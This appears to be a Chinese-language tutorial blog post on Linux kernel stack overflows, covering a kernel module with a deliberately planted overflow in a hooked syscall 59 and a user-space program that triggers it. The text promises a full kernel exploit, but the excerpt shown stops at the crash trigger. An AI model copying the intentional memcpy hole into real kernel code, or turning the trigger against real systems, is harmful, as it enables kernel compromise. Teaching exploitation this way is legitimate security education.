背景
五年前写清华大学出版社找我写本linux内核安全的书, 到现在只写了两章,希望能在w3上坚持写下去。
本次讲解linux内核栈溢出的攻击原理与实现,手把手教你写内核exploit。
溢出原理
我们先写一个简单的内核模块, 它在32位系统下hook了第59号系统调用, 这个系统调用被故意设置了一个堆栈溢出的bug。
void buffer_overflow_test(char *buf, int len)
{
char test[256] = {0};
memcpy(test, buf, len); [3]
}
asmlinkage long new_kbof_test(char *buf, int len)
{
char tmp[256];
char *buff = NULL;
memset(tmp, '\0', 256);
buff = (char *)kmalloc(len, GFP_KERNEL); [1]
if (!buff) {
printk("kmalloc failed.\n");
return -1;
}
if (copy_from_user(buff, buf, len)) {
printk("copy data from user failed.\n");
return -1;
}
buffer_overflow_test(buff, len); [2]
return 0;
}
在[1]处, 代码根据从用户空间传递的len参数大小, 先申请了len字节的空间, 在通过copy_from_user函数, 把用户空间的字符串拷贝到了内核空间, 这部分代码是没有问题的, 但通过[2]传递给buffer_overflow_test(函数后, 会在[3]处发生缓冲区溢出漏洞, 因为buffer_overflow_test(函数默认被分配了256字节大小, 同时在memcpy操作之前, 没有检查参数buf的大小, 导致发生缓冲区溢出。我们先写一个触发程序试试:
Trigger.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#define NR_NEW_SYSCALL 59
void kbof_trigger(void)
{
char buff[1024];
memset(buff, 'A', 1024);
syscall(NR_NEW_SYSCALL, buff, 1024);
}
int main(void)
{
kbof_trigger();
return 0;
}
-Bash 代码
1
[wzt@localhost exp]$ gcc -o trigger trigger.c
2
[wzt@localhost exp]$ ./trigger